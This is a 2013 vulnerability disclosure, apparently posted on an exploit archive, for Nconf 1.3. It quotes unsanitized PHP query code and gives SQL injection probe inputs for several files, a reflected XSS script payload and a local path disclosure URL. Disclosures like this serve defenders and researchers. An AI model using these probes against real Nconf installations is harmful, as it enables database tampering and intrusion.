what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nconf 1.3 SQL Injection / Cross Site Scripting

Nconf 1.3 SQL Injection / Cross Site Scripting
Posted Mar 4, 2013
Authored by Saadat Ullah

Nconf version 1.3 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 9f1bddc9948e13d42f84de9b6750e6e9ab80eec811aaf47155b3253dbed2c57b

Nconf 1.3 SQL Injection / Cross Site Scripting

Change Mirror Download
# Exploit Title:  nconf  handle_item.php,Modify_attr.php etc Multiple Sql injection
# Date: 2013/3/4
# Exploit Author: Saadat Ullah,saadi_linux@rocketmail.com
# Software Link: http://sourceforge.net/projects/nconf/files/nconf/
# Vendors: http://www.nconf.org/
# Author HomePage: http://security-geeks.blogspot.com/
# Version: nconf 1.3
# Tested on: Server: Apache/2.2.15 (Centos) PHP/5.3.3

Nconf Is vulnerable to Sql injection in most of the files , they did'nt sanitize any GET POST FILEDs.
Some OF them Are

Blind Sqli In handle_item.php on Id parameter
handle_item.php?id=1'
P0c
$query2 .= ' AND id_item <> '.$_GET["id"];


delete_attr.php
POST DATA : id=15'&name=&delete=yes&submit=Delete
Poc
Id Via GEt FIELD
$query = 'SELECT attr_name, config_class FROM ConfigAttrs, ConfigClasses WHERE id_attr='.$_GET["id"].' AND fk_id_class=ConfigClasses.id_class';
And id via Post Field
$query = 'DELETE FROM ConfigAttrs
WHERE id_attr='.$_POST["id"];

clone_host_write2db.php
Again On id paramerter.
Their are Many more...

A Simple Reflected XSS
http://localhost/nconf/handle_item.php?item=<script>alert('Hi');</script>
Poc
$item_class = $_GET["item"];
.
.
echo without Sanitization
echo '<h2>'.ucfirst($handle_action).' '.$item_class.'</h2>';

A LocalPath Disclose
http://localhost/nconf/call_file.php?ajax_file=service_list.php&debug=yes
Post Data:
host_id=5372&highlight_service=5373&class=a


#Independent Pakistani Security Researcher




Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close